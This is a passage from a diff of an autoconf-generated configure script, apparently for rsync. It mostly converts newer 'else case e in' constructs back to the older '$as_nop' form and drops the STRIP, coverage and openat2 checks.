ac_compiler_gnu=no ;;\n-esac\n+else $as_nop\n+  ac_compiler_gnu=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n ac_cv_cxx_compiler_gnu=$ac_compiler_gnu\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_cxx_compiler_gnu\" >&5\n printf \"%s\\n\" \"$ac_cv_cxx_compiler_gnu\" >&6; }\n@@ -6378,8 +6205,8 @@ printf %s \"checking whether $CXX accepts -g... \" >&6; }\n if test ${ac_cv_prog_cxx_g+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_save_cxx_werror_flag=$ac_cxx_werror_flag\n+else $as_nop\n+  ac_save_cxx_werror_flag=$ac_cxx_werror_flag\n    ac_cxx_werror_flag=yes\n    ac_cv_prog_cxx_g=no\n    CXXFLAGS=\"-g\"\n@@ -6397,8 +6224,8 @@ _ACEOF\n if ac_fn_cxx_try_compile \"$LINENO\"\n then :\n   ac_cv_prog_cxx_g=yes\n-else case e in #(\n-  e) CXXFLAGS=\"\"\n+else $as_nop\n+  CXXFLAGS=\"\"\n       cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -6413,8 +6240,8 @@ _ACEOF\n if ac_fn_cxx_try_compile \"$LINENO\"\n then :\n \n-else case e in #(\n-  e) ac_cxx_werror_flag=$ac_save_cxx_werror_flag\n+else $as_nop\n+  ac_cxx_werror_flag=$ac_save_cxx_werror_flag\n \t CXXFLAGS=\"-g\"\n \t cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -6431,15 +6258,12 @@ if ac_fn_cxx_try_compile \"$LINENO\"\n then :\n   ac_cv_prog_cxx_g=yes\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n-   ac_cxx_werror_flag=$ac_save_cxx_werror_flag ;;\n-esac\n+   ac_cxx_werror_flag=$ac_save_cxx_werror_flag\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_g\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cxx_g\" >&6; }\n@@ -6463,11 +6287,11 @@ if test x$ac_prog_cxx_stdcxx = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for $CXX option to enable C++11 features\" >&5\n printf %s \"checking for $CXX option to enable C++11 features... \" >&6; }\n-if test ${ac_cv_prog_cxx_cxx11+y}\n+if test ${ac_cv_prog_cxx_11+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_prog_cxx_cxx11=no\n+else $as_nop\n+  ac_cv_prog_cxx_11=no\n ac_save_CXX=$CXX\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -6484,39 +6308,36 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam\n   test \"x$ac_cv_prog_cxx_cxx11\" != \"xno\" && break\n done\n rm -f conftest.$ac_ext\n-CXX=$ac_save_CXX ;;\n-esac\n+CXX=$ac_save_CXX\n fi\n \n if test \"x$ac_cv_prog_cxx_cxx11\" = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unsupported\" >&5\n printf \"%s\\n\" \"unsupported\" >&6; }\n-else case e in #(\n-  e) if test \"x$ac_cv_prog_cxx_cxx11\" = x\n+else $as_nop\n+  if test \"x$ac_cv_prog_cxx_cxx11\" = x\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: none needed\" >&5\n printf \"%s\\n\" \"none needed\" >&6; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_cxx11\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_cxx11\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cxx_cxx11\" >&6; }\n-     CXX=\"$CXX $ac_cv_prog_cxx_cxx11\" ;;\n-esac\n+     CXX=\"$CXX $ac_cv_prog_cxx_cxx11\"\n fi\n   ac_cv_prog_cxx_stdcxx=$ac_cv_prog_cxx_cxx11\n-  ac_prog_cxx_stdcxx=cxx11 ;;\n-esac\n+  ac_prog_cxx_stdcxx=cxx11\n fi\n fi\n if test x$ac_prog_cxx_stdcxx = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for $CXX option to enable C++98 features\" >&5\n printf %s \"checking for $CXX option to enable C++98 features... \" >&6; }\n-if test ${ac_cv_prog_cxx_cxx98+y}\n+if test ${ac_cv_prog_cxx_98+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_prog_cxx_cxx98=no\n+else $as_nop\n+  ac_cv_prog_cxx_98=no\n ac_save_CXX=$CXX\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -6533,28 +6354,25 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam\n   test \"x$ac_cv_prog_cxx_cxx98\" != \"xno\" && break\n done\n rm -f conftest.$ac_ext\n-CXX=$ac_save_CXX ;;\n-esac\n+CXX=$ac_save_CXX\n fi\n \n if test \"x$ac_cv_prog_cxx_cxx98\" = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unsupported\" >&5\n printf \"%s\\n\" \"unsupported\" >&6; }\n-else case e in #(\n-  e) if test \"x$ac_cv_prog_cxx_cxx98\" = x\n+else $as_nop\n+  if test \"x$ac_cv_prog_cxx_cxx98\" = x\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: none needed\" >&5\n printf \"%s\\n\" \"none needed\" >&6; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_cxx98\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cxx_cxx98\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cxx_cxx98\" >&6; }\n-     CXX=\"$CXX $ac_cv_prog_cxx_cxx98\" ;;\n-esac\n+     CXX=\"$CXX $ac_cv_prog_cxx_cxx98\"\n fi\n   ac_cv_prog_cxx_stdcxx=$ac_cv_prog_cxx_cxx98\n-  ac_prog_cxx_stdcxx=cxx98 ;;\n-esac\n+  ac_prog_cxx_stdcxx=cxx98\n fi\n fi\n \n@@ -6573,8 +6391,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_AWK+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$AWK\"; then\n+else $as_nop\n+  if test -n \"$AWK\"; then\n   ac_cv_prog_AWK=\"$AWK\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -6596,8 +6414,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n AWK=$ac_cv_prog_AWK\n if test -n \"$AWK\"; then\n@@ -6617,8 +6434,8 @@ printf %s \"checking for grep that handles long lines and -e... \" >&6; }\n if test ${ac_cv_path_GREP+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -z \"$GREP\"; then\n+else $as_nop\n+  if test -z \"$GREP\"; then\n   ac_path_GREP_found=false\n   # Loop through the user's path and test for each of PROGNAME-LIST\n   as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -6637,10 +6454,9 @@ do\n       as_fn_executable_p \"$ac_path_GREP\" || continue\n # Check for GNU ac_path_GREP and select it if it is found.\n   # Check for GNU $ac_path_GREP\n-case `\"$ac_path_GREP\" --version 2>&1` in #(\n+case `\"$ac_path_GREP\" --version 2>&1` in\n *GNU*)\n   ac_cv_path_GREP=\"$ac_path_GREP\" ac_path_GREP_found=:;;\n-#(\n *)\n   ac_count=0\n   printf %s 0123456789 >\"conftest.in\"\n@@ -6675,8 +6491,7 @@ IFS=$as_save_IFS\n else\n   ac_cv_path_GREP=$GREP\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP\" >&5\n printf \"%s\\n\" \"$ac_cv_path_GREP\" >&6; }\n@@ -6688,8 +6503,8 @@ printf %s \"checking for egrep... \" >&6; }\n if test ${ac_cv_path_EGREP+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if echo a | $GREP -E '(a|b)' >/dev/null 2>&1\n+else $as_nop\n+  if echo a | $GREP -E '(a|b)' >/dev/null 2>&1\n    then ac_cv_path_EGREP=\"$GREP -E\"\n    else\n      if test -z \"$EGREP\"; then\n@@ -6711,10 +6526,9 @@ do\n       as_fn_executable_p \"$ac_path_EGREP\" || continue\n # Check for GNU ac_path_EGREP and select it if it is found.\n   # Check for GNU $ac_path_EGREP\n-case `\"$ac_path_EGREP\" --version 2>&1` in #(\n+case `\"$ac_path_EGREP\" --version 2>&1` in\n *GNU*)\n   ac_cv_path_EGREP=\"$ac_path_EGREP\" ac_path_EGREP_found=:;;\n-#(\n *)\n   ac_count=0\n   printf %s 0123456789 >\"conftest.in\"\n@@ -6750,15 +6564,12 @@ else\n   ac_cv_path_EGREP=$EGREP\n fi\n \n-   fi ;;\n-esac\n+   fi\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP\" >&5\n printf \"%s\\n\" \"$ac_cv_path_EGREP\" >&6; }\n  EGREP=\"$ac_cv_path_EGREP\"\n \n-         EGREP_TRADITIONAL=$EGREP\n- ac_cv_path_EGREP_TRADITIONAL=$EGREP\n \n \n   # Find a good install program.  We prefer a C program (faster),\n@@ -6781,8 +6592,8 @@ if test -z \"$INSTALL\"; then\n if test ${ac_cv_path_install+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n+else $as_nop\n+  as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n for as_dir in $PATH\n do\n   IFS=$as_save_IFS\n@@ -6836,8 +6647,7 @@ esac\n IFS=$as_save_IFS\n \n rm -rf conftest.one conftest.two conftest.dir\n- ;;\n-esac\n+\n fi\n   if test ${ac_cv_path_install+y}; then\n     INSTALL=$ac_cv_path_install\n@@ -6860,110 +6670,6 @@ test -z \"$INSTALL_SCRIPT\" && INSTALL_SCRIPT='${INSTALL}'\n \n test -z \"$INSTALL_DATA\" && INSTALL_DATA='${INSTALL} -m 644'\n \n-if test -n \"$ac_tool_prefix\"; then\n-  # Extract the first word of \"${ac_tool_prefix}strip\", so it can be a program name with args.\n-set dummy ${ac_tool_prefix}strip; ac_word=$2\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for $ac_word\" >&5\n-printf %s \"checking for $ac_word... \" >&6; }\n-if test ${ac_cv_prog_STRIP+y}\n-then :\n-  printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$STRIP\"; then\n-  ac_cv_prog_STRIP=\"$STRIP\" # Let the user override the test.\n-else\n-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n-for as_dir in $PATH\n-do\n-  IFS=$as_save_IFS\n-  case $as_dir in #(((\n-    '') as_dir=./ ;;\n-    */) ;;\n-    *) as_dir=$as_dir/ ;;\n-  esac\n-    for ac_exec_ext in '' $ac_executable_extensions; do\n-  if as_fn_executable_p \"$as_dir$ac_word$ac_exec_ext\"; then\n-    ac_cv_prog_STRIP=\"${ac_tool_prefix}strip\"\n-    printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext\" >&5\n-    break 2\n-  fi\n-done\n-  done\n-IFS=$as_save_IFS\n-\n-fi ;;\n-esac\n-fi\n-STRIP=$ac_cv_prog_STRIP\n-if test -n \"$STRIP\"; then\n-  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $STRIP\" >&5\n-printf \"%s\\n\" \"$STRIP\" >&6; }\n-else\n-  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n-printf \"%s\\n\" \"no\" >&6; }\n-fi\n-\n-\n-fi\n-if test -z \"$ac_cv_prog_STRIP\"; then\n-  ac_ct_STRIP=$STRIP\n-  # Extract the first word of \"strip\", so it can be a program name with args.\n-set dummy strip; ac_word=$2\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for $ac_word\" >&5\n-printf %s \"checking for $ac_word... \" >&6; }\n-if test ${ac_cv_prog_ac_ct_STRIP+y}\n-then :\n-  printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$ac_ct_STRIP\"; then\n-  ac_cv_prog_ac_ct_STRIP=\"$ac_ct_STRIP\" # Let the user override the test.\n-else\n-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n-for as_dir in $PATH\n-do\n-  IFS=$as_save_IFS\n-  case $as_dir in #(((\n-    '') as_dir=./ ;;\n-    */) ;;\n-    *) as_dir=$as_dir/ ;;\n-  esac\n-    for ac_exec_ext in '' $ac_executable_extensions; do\n-  if as_fn_executable_p \"$as_dir$ac_word$ac_exec_ext\"; then\n-    ac_cv_prog_ac_ct_STRIP=\"strip\"\n-    printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext\" >&5\n-    break 2\n-  fi\n-done\n-  done\n-IFS=$as_save_IFS\n-\n-fi ;;\n-esac\n-fi\n-ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP\n-if test -n \"$ac_ct_STRIP\"; then\n-  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP\" >&5\n-printf \"%s\\n\" \"$ac_ct_STRIP\" >&6; }\n-else\n-  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n-printf \"%s\\n\" \"no\" >&6; }\n-fi\n-\n-  if test \"x$ac_ct_STRIP\" = x; then\n-    STRIP=\"strip\"\n-  else\n-    case $cross_compiling:$ac_tool_warned in\n-yes:)\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet\" >&5\n-printf \"%s\\n\" \"$as_me: WARNING: using cross tools not prefixed with host triplet\" >&2;}\n-ac_tool_warned=yes ;;\n-esac\n-    STRIP=$ac_ct_STRIP\n-  fi\n-else\n-  STRIP=\"$ac_cv_prog_STRIP\"\n-fi\n-\n \n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for a race-free mkdir -p\" >&5\n printf %s \"checking for a race-free mkdir -p... \" >&6; }\n@@ -6971,8 +6677,8 @@ if test -z \"$MKDIR_P\"; then\n   if test ${ac_cv_path_mkdir+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n+else $as_nop\n+  as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n for as_dir in $PATH$PATH_SEPARATOR/opt/sfw/bin\n do\n   IFS=$as_save_IFS\n@@ -6986,7 +6692,7 @@ do\n \t   as_fn_executable_p \"$as_dir$ac_prog$ac_exec_ext\" || continue\n \t   case `\"$as_dir$ac_prog$ac_exec_ext\" --version 2>&1` in #(\n \t     'mkdir ('*'coreutils) '* | \\\n-\t     *'BusyBox '* | \\\n+\t     'BusyBox '* | \\\n \t     'mkdir (fileutils) '4.1*)\n \t       ac_cv_path_mkdir=$as_dir$ac_prog$ac_exec_ext\n \t       break 3;;\n@@ -6995,17 +6701,18 @@ do\n        done\n   done\n IFS=$as_save_IFS\n- ;;\n-esac\n+\n fi\n \n   test -d ./--version && rmdir ./--version\n   if test ${ac_cv_path_mkdir+y}; then\n     MKDIR_P=\"$ac_cv_path_mkdir -p\"\n   else\n-    # As a last resort, use plain mkdir -p,\n-    # in the hope it doesn't have the bugs of ancient mkdir.\n-    MKDIR_P='mkdir -p'\n+    # As a last resort, use the slow shell script.  Don't cache a\n+    # value for MKDIR_P within a source directory, because that will\n+    # break other packages using the cache if that directory is\n+    # removed, or if the value is a relative name.\n+    MKDIR_P=\"$ac_install_sh -d\"\n   fi\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $MKDIR_P\" >&5\n@@ -7019,8 +6726,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_path_PERL+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) case $PERL in\n+else $as_nop\n+  case $PERL in\n   [\\\\/]* | ?:[\\\\/]*)\n   ac_cv_path_PERL=\"$PERL\" # Let the user override the test with a path.\n   ;;\n@@ -7045,7 +6752,6 @@ done\n IFS=$as_save_IFS\n \n   ;;\n-esac ;;\n esac\n fi\n PERL=$ac_cv_path_PERL\n@@ -7065,8 +6771,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_path_PYTHON3+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) case $PYTHON3 in\n+else $as_nop\n+  case $PYTHON3 in\n   [\\\\/]* | ?:[\\\\/]*)\n   ac_cv_path_PYTHON3=\"$PYTHON3\" # Let the user override the test with a path.\n   ;;\n@@ -7091,7 +6797,6 @@ done\n IFS=$as_save_IFS\n \n   ;;\n-esac ;;\n esac\n fi\n PYTHON3=$ac_cv_path_PYTHON3\n@@ -7129,28 +6834,6 @@ if test x\"$enable_profile\" = x\"yes\"; then\n \tCFLAGS=\"$CFLAGS -pg\"\n fi\n \n-# Check whether --enable-coverage was given.\n-if test ${enable_coverage+y}\n-then :\n-  enableval=$enable_coverage;\n-fi\n-\n-if test x\"$enable_coverage\" = x\"yes\"; then\n-\tCFLAGS=\"$CFLAGS --coverage -fprofile-update=atomic -O0\"\n-\tCXXFLAGS=\"$CXXFLAGS --coverage -fprofile-update=atomic -O0\"\n-\tLDFLAGS=\"$LDFLAGS --coverage\"\n-\n-printf \"%s\\n\" \"#define GCOV_COVERAGE 1\" >>confdefs.h\n-\n-fi\n-\n-# Check whether --enable-openat2 was given.\n-if test ${enable_openat2+y}\n-then :\n-  enableval=$enable_openat2;\n-fi\n-\n-\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking if md2man can create manpages\" >&5\n printf %s \"checking if md2man can create manpages... \" >&6; }\n if test x\"$ac_cv_path_PYTHON3\" = x; then\n@@ -7284,9 +6967,8 @@ fi\n if test ${with_rsync_path+y}\n then :\n   withval=$with_rsync_path;  RSYNC_PATH=\"$with_rsync_path\"\n-else case e in #(\n-  e)  RSYNC_PATH=\"rsync\"  ;;\n-esac\n+else $as_nop\n+   RSYNC_PATH=\"rsync\"\n fi\n \n \n@@ -7313,9 +6995,8 @@ then :\n \telse\n \t\tRSYNCD_SYSCONF=\"/etc/rsyncd.conf\"\n \tfi\n-else case e in #(\n-  e)  RSYNCD_SYSCONF=\"/etc/rsyncd.conf\"  ;;\n-esac\n+else $as_nop\n+   RSYNCD_SYSCONF=\"/etc/rsyncd.conf\"\n fi\n \n \n@@ -7338,8 +7019,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_HAVE_REMSH+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$HAVE_REMSH\"; then\n+else $as_nop\n+  if test -n \"$HAVE_REMSH\"; then\n   ac_cv_prog_HAVE_REMSH=\"$HAVE_REMSH\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -7362,8 +7043,7 @@ done\n IFS=$as_save_IFS\n \n   test -z \"$ac_cv_prog_HAVE_REMSH\" && ac_cv_prog_HAVE_REMSH=\"0\"\n-fi ;;\n-esac\n+fi\n fi\n HAVE_REMSH=$ac_cv_prog_HAVE_REMSH\n if test -n \"$HAVE_REMSH\"; then\n@@ -7398,8 +7078,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_path_SHELL_PATH+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) case $SHELL_PATH in\n+else $as_nop\n+  case $SHELL_PATH in\n   [\\\\/]* | ?:[\\\\/]*)\n   ac_cv_path_SHELL_PATH=\"$SHELL_PATH\" # Let the user override the test with a path.\n   ;;\n@@ -7425,7 +7105,6 @@ IFS=$as_save_IFS\n \n   test -z \"$ac_cv_path_SHELL_PATH\" && ac_cv_path_SHELL_PATH=\"/bin/sh\"\n   ;;\n-esac ;;\n esac\n fi\n SHELL_PATH=$ac_cv_path_SHELL_PATH\n@@ -7445,8 +7124,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_path_FAKEROOT_PATH+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) case $FAKEROOT_PATH in\n+else $as_nop\n+  case $FAKEROOT_PATH in\n   [\\\\/]* | ?:[\\\\/]*)\n   ac_cv_path_FAKEROOT_PATH=\"$FAKEROOT_PATH\" # Let the user override the test with a path.\n   ;;\n@@ -7472,7 +7151,6 @@ IFS=$as_save_IFS\n \n   test -z \"$ac_cv_path_FAKEROOT_PATH\" && ac_cv_path_FAKEROOT_PATH=\"/usr/bin/fakeroot\"\n   ;;\n-esac ;;\n esac\n fi\n FAKEROOT_PATH=$ac_cv_path_FAKEROOT_PATH\n@@ -7491,9 +7169,8 @@ fi\n if test ${with_nobody_user+y}\n then :\n   withval=$with_nobody_user;  NOBODY_USER=\"$with_nobody_user\"\n-else case e in #(\n-  e)  NOBODY_USER=\"nobody\"  ;;\n-esac\n+else $as_nop\n+   NOBODY_USER=\"nobody\"\n fi\n \n \n@@ -7529,13 +7206,6 @@ printf \"%s\\n\" \"#define NOBODY_GROUP \\\"$NOBODY_GROUP\\\"\" >>confdefs.h\n # rolling-checksum SIMD optimizations\n ROLL_SIMD=\n \n-# Autoconf reports x86-64 as amd64 on FreeBSD, while the object-variable\n-# suffixes in Makefile.in use x86_64 on every platform.\n-asm_cpu=\"$host_cpu\"\n-if test x\"$asm_cpu\" = x\"amd64\"; then\n-    asm_cpu=x86_64\n-fi\n-\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking whether to enable rolling-checksum SIMD optimizations\" >&5\n printf %s \"checking whether to enable rolling-checksum SIMD optimizations... \" >&6; }\n # Check whether --enable-roll-simd was given.\n@@ -7569,12 +7239,12 @@ ac_compiler_gnu=$ac_cv_cxx_compiler_gnu\n \n if test \"$cross_compiling\" = yes\n then :\n-  { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+  { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error $? \"cannot run test program while cross compiling\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <stdio.h>\n #if HAVE_STDLIB_H\n@@ -7611,13 +7281,11 @@ _ACEOF\n if ac_fn_cxx_try_run \"$LINENO\"\n then :\n   CXX_OK=yes\n-else case e in #(\n-  e) CXX_OK=no ;;\n-esac\n+else $as_nop\n+  CXX_OK=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n \n \telse\n@@ -7658,9 +7326,8 @@ _ACEOF\n if ac_fn_cxx_try_compile \"$LINENO\"\n then :\n   CXX_OK=yes\n-else case e in #(\n-  e) CXX_OK=no ;;\n-esac\n+else $as_nop\n+  CXX_OK=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n \tfi\n@@ -7672,7 +7339,7 @@ ac_compiler_gnu=$ac_cv_c_compiler_gnu\n \n \tif test x\"$CXX_OK\" = x\"yes\"; then\n \t    # AC_MSG_RESULT() is called below.\n-\t    ROLL_SIMD=\"$asm_cpu\"\n+\t    ROLL_SIMD=\"$host_cpu\"\n \telif test x\"$enable_roll_simd\" = x\"yes\"; then\n \t    { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: error\" >&5\n printf \"%s\\n\" \"error\" >&6; }\n@@ -7727,63 +7394,14 @@ if ac_fn_c_try_compile \"$LINENO\"\n then :\n    NOEXECSTACK='-Wa,--noexecstack' ; { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: yes\" >&5\n printf \"%s\\n\" \"yes\" >&6; }\n-else case e in #(\n-  e)  NOEXECSTACK='' ; { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n-printf \"%s\\n\" \"no\" >&6; }  ;;\n-esac\n+else $as_nop\n+   NOEXECSTACK='' ; { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n+printf \"%s\\n\" \"no\" >&6; }\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n CFLAGS=\"$OLD_CFLAGS\"\n \n \n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for openat2\" >&5\n-printf %s \"checking for openat2... \" >&6; }\n-if test ${rsync_cv_HAVE_OPENAT2+y}\n-then :\n-  printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n-    cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n-/* end confdefs.h.  */\n-\n-\n-#include <sys/syscall.h>\n-#include <linux/openat2.h>\n-\n-int\n-main (void)\n-{\n-\n-struct open_how how;\n-how.resolve = RESOLVE_BENEATH;\n-return SYS_openat2 + (int)how.resolve;\n-\n-  ;\n-  return 0;\n-}\n-\n-_ACEOF\n-if ac_fn_c_try_compile \"$LINENO\"\n-then :\n-  rsync_cv_HAVE_OPENAT2=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_OPENAT2=no ;;\n-esac\n-fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n- ;;\n-esac\n-fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_OPENAT2\" >&5\n-printf \"%s\\n\" \"$rsync_cv_HAVE_OPENAT2\" >&6; }\n-if test x\"$enable_openat2\" != x\"no\"; then\n-    if test x\"$rsync_cv_HAVE_OPENAT2\" = x\"yes\"; then\n-\n-printf \"%s\\n\" \"#define HAVE_OPENAT2 1\" >>confdefs.h\n-\n-    fi\n-fi\n-\n # arrgh. libc in some old debian version screwed up the largefile\n # stuff, getting byte range locking wrong\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for broken largefile support\" >&5\n@@ -7791,13 +7409,13 @@ printf %s \"checking for broken largefile support... \" >&6; }\n if test ${rsync_cv_HAVE_BROKEN_LARGEFILE+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_HAVE_BROKEN_LARGEFILE=cross\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n #define _FILE_OFFSET_BITS 64\n@@ -7841,16 +7459,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_HAVE_BROKEN_LARGEFILE=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_BROKEN_LARGEFILE=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_HAVE_BROKEN_LARGEFILE=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_BROKEN_LARGEFILE\" >&5\n printf \"%s\\n\" \"$rsync_cv_HAVE_BROKEN_LARGEFILE\" >&6; }\n@@ -7860,34 +7475,31 @@ if test ${enable_largefile+y}\n then :\n   enableval=$enable_largefile;\n fi\n-if test \"$enable_largefile,$enable_year2038\" != no,no\n-then :\n-  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for $CPPFLAGS option for large files\" >&5\n-printf %s \"checking for $CPPFLAGS option for large files... \" >&6; }\n-if test ${ac_cv_sys_largefile_opts+y}\n+\n+if test \"$enable_largefile\" != no; then\n+\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for special C compiler options needed for large files\" >&5\n+printf %s \"checking for special C compiler options needed for large files... \" >&6; }\n+if test ${ac_cv_sys_largefile_CC+y}\n then :\n   printf %s \"(cached) \" 